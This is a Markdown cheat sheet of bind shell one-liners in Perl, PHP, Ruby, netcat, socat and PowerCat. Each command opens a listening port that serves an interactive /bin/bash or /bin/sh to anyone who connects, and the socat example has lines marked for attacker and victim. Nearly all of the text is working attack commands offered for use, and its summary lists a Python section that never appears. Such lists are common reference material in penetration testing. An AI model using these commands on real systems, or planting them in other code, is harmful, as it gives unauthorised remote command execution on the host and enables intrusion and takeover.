71 lines
1.6 KiB
Markdown
71 lines
1.6 KiB
Markdown
# Bind Shell
|
|
|
|
## Summary
|
|
|
|
* [Reverse Shell](#reverse-shell)
|
|
* [Perl](#perl)
|
|
* [Python](#python)
|
|
* [PHP](#php)
|
|
* [Ruby](#ruby)
|
|
* [Netcat Traditional](#netcat-traditional)
|
|
* [Netcat OpenBsd](#netcat-openbsd)
|
|
* [Ncat](#ncat)
|
|
* [Socat](#socat)
|
|
* [Powershell](#powershell)
|
|
|
|
|
|
## Perl
|
|
|
|
```perl
|
|
perl -e 'use Socket;$p=51337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));\
|
|
bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);\
|
|
close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};'
|
|
```
|
|
|
|
## PHP
|
|
|
|
```php
|
|
php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",51337);\
|
|
socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;\
|
|
$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);\
|
|
socket_write($cl,$m,strlen($m));}}'
|
|
```
|
|
|
|
## Ruby
|
|
|
|
```ruby
|
|
ruby -rsocket -e 'f=TCPServer.new(51337);s=f.accept;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",s,s,s)'
|
|
```
|
|
|
|
## Netcat Traditional
|
|
|
|
```powershell
|
|
nc -nlvp 51337 -e /bin/bash
|
|
```
|
|
|
|
## Netcat OpenBsd
|
|
|
|
```powershell
|
|
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 51337 >/tmp/f
|
|
```
|
|
|
|
## Socat
|
|
|
|
```powershell
|
|
user@attacker$ socat FILE:`tty`,raw,echo=0 TCP:target.com:12345
|
|
user@victim$ socat TCP-LISTEN:12345,reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane
|
|
```
|
|
|
|
## Powershell
|
|
|
|
```powershell
|
|
https://github.com/besimorhino/powercat
|
|
|
|
# Victim (listen)
|
|
. .\powercat.ps1
|
|
powercat -l -p 7002 -ep
|
|
|
|
# Connect from attacker
|
|
. .\powercat.ps1
|
|
powercat -c 127.0.0.1 -p 7002
|
|
``` |